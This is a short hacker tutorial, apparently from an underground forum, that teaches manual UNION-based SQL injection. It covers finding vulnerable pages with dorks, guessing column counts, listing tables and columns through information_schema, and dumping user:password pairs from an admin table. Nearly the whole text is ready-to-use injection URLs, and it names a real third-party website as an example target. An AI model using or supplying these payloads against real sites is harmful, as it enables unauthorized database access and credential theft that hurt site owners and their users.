How to do a Manual Sql

1.-Look for a vulnerable page with dorks if you want example: page:  www.url.com/index.php?id=5'

If the page is vulnerable show a message same as this:
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

But if the page is not vulnerable show 404 error or simply don`t show nothing

2.-We need to know if the page is vulnerable for this we do it the following:
a) Put a minus signal after the number from the vulnerability so:

www.url.com/index.php?id=-5 you have to quit this signal '  don´t forget it

b) At the same time you put +union+select+1,2,3,4,5,6,7,8,9-- this procedure you have to do little by little until show the tables. For example:

www.url.com/index.php?id=-5+union+select+1--
www.url.com/index.php?id=-5+union+select+1,2--
www.url.com/index.php?id=-5+union+select+1,2,3--
www.url.com/index.php?id=-5+union+select+1,2,3,4--
www.url.com/index.php?id=-5+union+select+1,2,3,4,5--
www.url.com/index.php?id=-5+union+select+1,2,3,4,5,6--
www.url.com/index.php?id=-5+union+select+1,2,3,4,5,6,7--
www.url.com/index.php?id=-5+union+select+1,2,3,4,5,6,7,8--
www.url.com/index.php?id=-5+union+select+1,2,3,4,5,6,7,8,9--

When you do it the page will show the tables.

Example: http://www.cordobadm.com.ar/noticia.php?id=-19+union+select+1,2,3,4,5,6,7--

If the tables don`t show you the page it isn't vulnerable


3.-When the tables show you, you select one hum example the web show the tables 4,5 or 6 I select the 4 for example so i do the same thing change the number for replace%28group_concat%28table_name%29,0x2c,0x3c62723e%29 and in the final put +from+information_schema.tables--:


www.url.com/index.php?id=-5+union+select+1,2,3,replace%28group_concat%28table_name%29,0x2c,0x3c62723e%29,5,6,7+from+information_schema.tables--

This action show the names from the tables, but if not pass with one number test with the another than show you before, but it's only one we'll need another form to enter in this page.

4.- Next steep is than you selec the name from a table a change the name to hexadecimal for this action we will use the following page http://www.swingnote.com/tools/texttohex.php

For example the page show me a table than name is "admin" so i change admin to hexadecimal i go to the page and change it  admin=61646d696e

5.- After whe do the following steep:
a) Erase the before code than we put in the number and replace for column_names and in the final put the following code: columns+where(table_name=0xhere the hexadecimal name)limit+1,1--

www.url.com/index.php?id=-5+union+select+1,2,3,column_names,5,6,7+from+information_schema.columns+where(table_name=0x61646d696e)limit+1,1-- (Show me user for example)

b) And explore the table to change the 1,1-- Example:
www.url.com/index.php?id=-5+union+select+1,2,3,column_names,5,6,7+from+information_schema.columns+where(table_name=0x61646d696e)limit+2,1-- (Show me password for example)

www.url.com/index.php?id=-5+union+select+1,2,3,column_names,5,6,7+from+information_schema.columns+where(table_name=0x61646d696e)limit+3,1--

www.url.com/index.php?id=-5+union+select+1,2,3,column_names,5,6,7+from+information_schema.columns+where(table_name=0x61646d696e)limit+4,1--

www.url.com/index.php?id=-5+union+select+1,2,3,column_names,5,6,7+from+information_schema.columns+where(table_name=0x61646d696e)limit+5,1--

www.url.com/index.php?id=-5+union+select+1,2,3,column_names,5,6,7+from+information_schema.columns+where(table_name=0x61646d696e)limit+6,1--

www.url.com/index.php?id=-5+union+select+1,2,3,column_names,5,6,7+from+information_schema.columns+where(table_name=0x61646d696e)limit+7,1--

www.url.com/index.php?id=-5+union+select+1,2,3,column_names,5,6,7+from+information_schema.columns+where(table_name=0x61646d696e)limit+8,1--

www.url.com/index.php?id=-5+union+select+1,2,3,column_names,5,6,7+from+information_schema.columns+where(table_name=0x61646d696e)limit+9,1--

Until than show all the neccesary data.

6.- To reveal the columns we put the following code: group_concat(name from table in 1,1--,0x3a,name from the another table results from explore in the last steep)and in the final put: +from+table name--
Example: Table name= admin  Table results from the exploration= password

www.url.com/index.php?id=-5+union+select+1,2,3,group_concat(user,0x3a,password),5,6,7+from+admin--

Enjoy it ;)

By Netikerty Asenet